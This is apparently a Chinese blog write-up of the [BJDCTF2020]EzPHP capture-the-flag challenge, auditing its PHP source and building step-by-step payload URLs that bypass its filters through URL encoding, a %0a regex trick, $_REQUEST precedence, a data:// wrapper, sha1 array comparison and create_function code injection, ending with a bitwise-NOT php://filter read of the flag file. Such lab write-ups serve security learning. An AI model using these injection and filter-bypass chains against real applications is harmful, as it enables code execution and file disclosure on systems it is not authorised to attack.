当前位置: 首页 > news >正文

[BJDCTF2020]EzPHP1

知识点:1. url编码绕过

               2. %0a绕过

               3. post优先级绕过

               4. php伪协议

               5. 数组的强类型比较绕过

               6. 取反绕过

进入之后发现了一个很帅气的页面😎~

看看网页源代码试试~

 是base32编码,尝试一下解码.

 https://www.qqxiuzi.cn/bianma/base.php

解码出来后是一个1nD3x.php的文件 ,去访问一下.

开始代码审计~

<?php
// 显示文件源码
highlight_file(__FILE__);// 关闭所有错误报告
error_reporting(0); // 设定默认的文件名和变量
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';// 欢迎信息
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查$_SERVER全局数组是否存在
if($_SERVER) { // 如果查询字符串包含特定的字符或关键字则终止脚本执行if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))die('You seem to want to do something bad?'); 
}// 检查GET参数'file'是否是合法的URL
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查GET参数'debu'是否为'aqua_is_cute'且不等于这个值if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');// 遍历所有请求参数,检查是否有英文字符
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!');}
}// 检查文件内容是否为特定字符串
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查sha1($shana)是否与sha1($passwd)相等且两者的值不同
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 提取GET参数中的flag变量extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查$code和$arg是否包含危险的字符串或命令
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { // 包含flag.php文件include "flag.php";// 调用$code函数并传递$arg参数$code('', $arg);
}

首先我们要绕过的是.

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
} 

知识点:$_SERVER['QUERY_STRING'] 是一个预定义的 PHP 变量,它包含了 URL 中跟在问号 (?) 后面的所有数据,即 GET 请求参数的原始字符串形式.  

所以我们GET请求的键值对都绕绕过这个preg_math(),我们可以用url编码来绕过,因为当我们使用GET参数执行过程中PHP会自动进行url解码,而SERVER不会.

下面是url编码的python代码.

value=input("url : ")
letter=list(value)
letter_new=''
for i in letter:if i=="=" or i=="&" or i=="[" or i=="]" or i==";" or i=="//":letter_new+=icontinueletter_new+="%"+hex(ord(i))[2:]
print(letter_new)

之后我们来绕过下面的preg_math().

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!'); 

我们可以传入两个参数分别为file和debu,而我们只需要传入debu的参数便可以绕过, 由于preg_math()是非/s的模式,所以我们可以使用%0a来绕过.

知识点:/s 模式被称为“单行”模式。在正则表达式中,默认情况下,.(点)字符匹配任何单个字符,除了换行符 \n。然而,当你在正则表达式中包含 /s 标志时,. 将匹配包括换行符在内的任何单个字符,我们在尾部加上%0a,preg_math()不会匹配到它,从而绕过. 

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a

由于第一个preg_math()的限制使用url编码.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

开始绕过第三个过滤代码.

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}  

循环$_REQUEST中的value并确保他们不是字母. 

我们可以利用POST请求的优先级比GET请求高的特点来绕过 .

知识点:1.在默认情况下(或当 request_order 包含 "P" 在 "G" 之后时),如果 $_GET 和 $_POST 包含相同名称的键,$_REQUEST 中的值将是 $_POST 里的那个参数的值。

               2.在PHP中,$_REQUEST 数组包含了 $_GET、$_POST 和 $_COOKIE 的内容(如果有的话)。

我们可以构造以下payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65post: debu=1

值得注意的是上面提到的$_COOKIE,所以我们要确保$_COOKIE的value不存在,或者为数字.

开始绕过第四个过滤语句.

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这里要使我们传入的file参数中,读取的file文件内容为 debu_debu_aqua,我们可以使用php://input或者是data://text,plain两个为协议来绕过,并且我们需要绕过第一个preg_math(),所以需要进行url编码和base64编码,同时也需要绕过第三个过滤.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aquapost:debu=1&file=2

url编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61debu=1&file=2

开始绕过第五个过滤.

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

典型了强类型比较数组绕过,不要忘了url编码.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2post:debu=1&file=2

编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32post:debu=1&file=2

开始最后一个过滤绕过.

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里可以使用create_function()代码注入. 

知识点:     

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行,也就是:

function myfunc($a, $b){return $a+$b;
}
eval($_POST['cmd']);//}

所以我们可以通过倒数第二个的过滤中的flag传参来控制 code和arg两个参数.

由于很多函数被禁用了,我们使用get_defined_vars()读取所有的变量与值来构造payload.

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function// 等价于
function{
}
var_dump(get_defined_vars());//}

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_functionpost:debu=1&file=2

url编码为. 

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

得到了一张图片和所有的键值对.

flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(65) { ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_X_FORWARDED_FOR"]=> string(25) "121.26.229.182, 127.0.0.1" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_REMOTE_HOST"]=> string(14) "121.26.229.182" ["HTTP_REFERER"]=> string(237) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32" ["HTTP_PRIORITY"]=> string(6) "u=0, i" ["HTTP_ORIGIN"]=> string(61) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ACCEPT_LANGUAGE"]=> string(59) "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_ACCEPT"]=> string(109) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_USER_AGENT"]=> string(80) "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" ["HTTP_HOST"]=> string(51) "adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(12) "10.244.80.11" ["REMOTE_PORT"]=> string(5) "36758" ["REMOTE_ADDR"]=> string(12) "10.244.80.35" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(276) "/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1720874272.6966) ["REQUEST_TIME"]=> int(1720874272) ["argv"]=> array(1) { [0]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } 

最后面显示 I hid the real flag in rea1fl4g.php,所以我们要找的flag就在rea1f14g.php这个文件中.

首先最后一个过滤了inc 可以用require以代替,flag可以用base64编码来绕过,我们可以先包含flag文件后再用var_dump(get_defined_vars())来读取flag.

require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

url编码后为. 

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

结果为. 

实际上呢,得到了假的flag,这是不可以的,下面的源代码.

<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

 包含了flag文件后$real_f1114g会被unset掉,所以我们可以用php为协议去读取该文件的内容.

php://filter/convert.base64-encode/resource=rea1fl4g.php

之后取反绕过.

<?php$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2

结果如下. 

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2MyNGVlOTE3LTQyZjMtNGYxMy04NzJjLTc1YzdmZjkzZTA3OH0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

将其进行base64解码.

https://www.toolhelper.cn/EncodeDecode/Base64

得到flag,游戏结束~ 

相关文章:

  • React@16.x(56)Redux@4.x(5)- 实现 createStore
  • 基于IDEA的Lombok插件安装及简单使用
  • ARM 虚拟机FVP环境搭建
  • 2024-07-15 Unity插件 Odin Inspector4 —— Collection Attributes
  • 电脑的D盘E盘F盘突然消失了 电脑只剩下C盘了其他盘怎么恢复
  • C#中简单Socket编程
  • 中国电子学会青少年编程等级考试真题下载
  • Linux FFmpeg安装教程
  • 探索深度学习与Transformer架构的最新进展
  • STM32F103RC使用HAL库配置USART进行数据收发
  • 计算机图形学入门28:相机、透镜和光场
  • sysbench测试系统磁盘读写
  • 【开源项目】Rust开发复制文件夹目录结构工具
  • 新款S32K3 MCU可解决汽车软件开发的成本和复杂性问题(器件编号包含S32K322E、S32K322N、S32K328)
  • 【linux】服务器ubuntu安装cuda11.0、cuDNN教程,简单易懂,包教包会
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • 【面试系列】之二:关于js原型
  • 2017 前端面试准备 - 收藏集 - 掘金
  • iOS编译提示和导航提示
  • Java 实战开发之spring、logback配置及chrome开发神器(六)
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • Mysql优化
  • PAT A1120
  • Python实现BT种子转化为磁力链接【实战】
  • Spring框架之我见(三)——IOC、AOP
  • 从PHP迁移至Golang - 基础篇
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • 小李飞刀:SQL题目刷起来!
  • 一些css基础学习笔记
  • Prometheus VS InfluxDB
  • 如何用纯 CSS 创作一个货车 loader
  • ​Z时代时尚SUV新宠:起亚赛图斯值不值得年轻人买?
  • "无招胜有招"nbsp;史上最全的互…
  • #【QT 5 调试软件后,发布相关:软件生成exe文件 + 文件打包】
  • $(document).ready(function(){}), $().ready(function(){})和$(function(){})三者区别
  • (ibm)Java 语言的 XPath API
  • (poj1.2.1)1970(筛选法模拟)
  • (二)【Jmeter】专栏实战项目靶场drupal部署
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (二十六)Java 数据结构
  • (二刷)代码随想录第16天|104.二叉树的最大深度 559.n叉树的最大深度● 111.二叉树的最小深度● 222.完全二叉树的节点个数
  • (介绍与使用)物联网NodeMCUESP8266(ESP-12F)连接新版onenet mqtt协议实现上传数据(温湿度)和下发指令(控制LED灯)
  • (三十五)大数据实战——Superset可视化平台搭建
  • (五)关系数据库标准语言SQL
  • (转)拼包函数及网络封包的异常处理(含代码)
  • .Mobi域名介绍
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .net core webapi 大文件上传到wwwroot文件夹
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .NET core 自定义过滤器 Filter 实现webapi RestFul 统一接口数据返回格式
  • .NET delegate 委托 、 Event 事件
  • .Net 代码性能 - (1)
  • .net 前台table如何加一列下拉框_如何用Word编辑参考文献
  • .NET 中 GetHashCode 的哈希值有多大概率会相同(哈希碰撞)